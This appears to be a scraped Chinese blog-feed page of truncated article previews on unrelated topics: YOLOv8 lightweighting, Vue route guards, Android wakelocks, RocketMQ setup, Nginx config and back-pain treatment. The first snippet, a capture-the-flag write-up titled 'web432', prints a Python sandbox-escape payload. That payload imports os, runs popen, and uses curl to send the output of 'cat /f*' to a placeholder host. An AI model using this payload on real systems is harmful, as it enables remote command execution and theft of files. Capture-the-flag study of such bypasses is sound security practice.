web432 过滤了os|open|system|read|eval ?codestr(.__class__.__bases__[0].__subclasses__[185].__init__.__globals__[__builtins__][__import__](os).__dict__[popen](curl http://ip:port?1cat /f*)) ?codestr(.__class__.__bases__[0].__subclasses__()[185].__init_…

【开源节流】如何通过数字化转型增强盈利能力?

引言&#xff1a;随着市场竞争的日益激烈&#xff0c;新技术发展的推动和企业发展的需求等&#xff0c;这些背景因素共同促使企业加快数字化转型步伐&#xff0c;以适应市场变化、提升竞争力并实现可持续发展。那如何通过如何通过数字化转型增强盈利能力&#xff1f;需要通过开…

MobileNetV3轻量化YOLOv8

1 轻量化模型 一般而言,模型轻量化有三个途径: 知识蒸馏:大模型引导小模型训练,让其逼近大模型效果 轻量化模块替换:利用一些轻量化模块进行替换,减少模型参数 剪枝:通过优化算法引导模型裁剪无用的参数 MobileNetV3论文如下,自行搜索 2 修改步骤 在nn/modules的文…

神经网络学习6-线性层

归一化用的较少 正则化用来解决过拟合&#xff0c;处理最优化问题&#xff0c;批量归一化加快速度 正则化&#xff08;Regularization&#xff09;&#xff1a; 作用&#xff1a;正则化是一种用来防止过拟合的技术&#xff0c;通过向模型的损失函数中添加惩罚项&#xff0c;使…

Wakelocks 框架设计与实现

Wakelocks 框架是基于Wakeup Source实现的为Android系统上层提供投票机制&#xff0c;以阻止系统进入休眠。 1.功能说明 该模块的支持受宏CONFIG_PM_WAKELOCKS控制。在使能该宏的情况下&#xff0c;PM Core初始化过程中会在sysfs下创建两个属性节点&#xff1a; /sys/power/w…

CNN神经网络猫狗分类经典案例

因为有猫和狗两类&#xff0c;所有在data/train目录下&#xff0c;再建两个目录data/train/dog和data/train/cat&#xff1a; 同理&#xff0c;其他的data/validation和data/test目录下&#xff0c;再建两个目录&#xff1a;cat和data/&#xff0c;在cat和dog目录下&#xff0c…

Vue82-组件内路由守卫

一、组件内路由守卫的定义 在一个组件里面去写路由守卫&#xff0c;而不是在路由配置文件index.js中去写。 此时&#xff0c;该路由守卫是改组件所独有的&#xff01; 只有通过路由规则进入的方式&#xff0c;才会调这两个函数&#xff0c;否则&#xff0c;若是只是用<Ab…

腰背肌筋膜炎怎么治疗最有效

腰背肌筋膜炎的治疗方法主要包括以下几种&#xff1a; 1、休息和物理治疗&#xff1a; 确保充足的休息&#xff0c;避免过度劳累&#xff0c;减少腰背部肌肉的负担。 物理治疗&#xff0c;如热敷或冷敷&#xff0c;可以缓解疼痛和肌肉紧张。热敷可以使用热水袋、热毛巾或电热垫…

读《文明之光》第2册总结

《文明之光》系列大致按照从地球诞生到近现代的顺序讲述了人类文明进程的各个阶段&#xff0c;每个章节相对独立&#xff0c;全景式地展现了人类文明发展历程中的多样性。《文明之光》系列第二册讲述了从近代科学兴起&#xff0c;到工业革命时代&#xff0c;以及原子能应用这一…

深入源码设计!Vue3.js核心API——Computed实现原理

如果您觉得这篇文章有帮助的话&#xff01;给个点赞和评论支持下吧&#xff0c;感谢~ 作者&#xff1a;前端小王hs 阿里云社区博客专家/清华大学出版社签约作者/csdn百万访问前端博主/B站千粉前端up主 此篇文章是博主于2022年学习《Vue.js设计与实现》时的笔记整理而来 书籍&a…

linux普通: rocketmq的安装测试与可视化界面安装,git的 (linux) 安装

全文目录,一步到位 1.前言简介1.1 专栏传送门(rabbitmq) 2. rocketmq使用及安装2.0 开放端口2.1 rocketmq版本说明2.2 具体操作2.2.1 修改文件2.2.2 具体启动指令ps: 查看日志 2.3.3 jps查看java进程2.3.4 测试运行情况> 步骤一: 临时指定nameserver注册中心位置> 步骤二…

Nginx 搭建域名访问环境

1.Nginx配置文件 server {listen 80;server_name www.gulimall.com;#charset koi8-r;#access_log /var/log/nginx/log/host.access.log main;location / {proxy_pass http://192.168.232.1:10001;}#error_page 404 /404.html;# redirect server error p…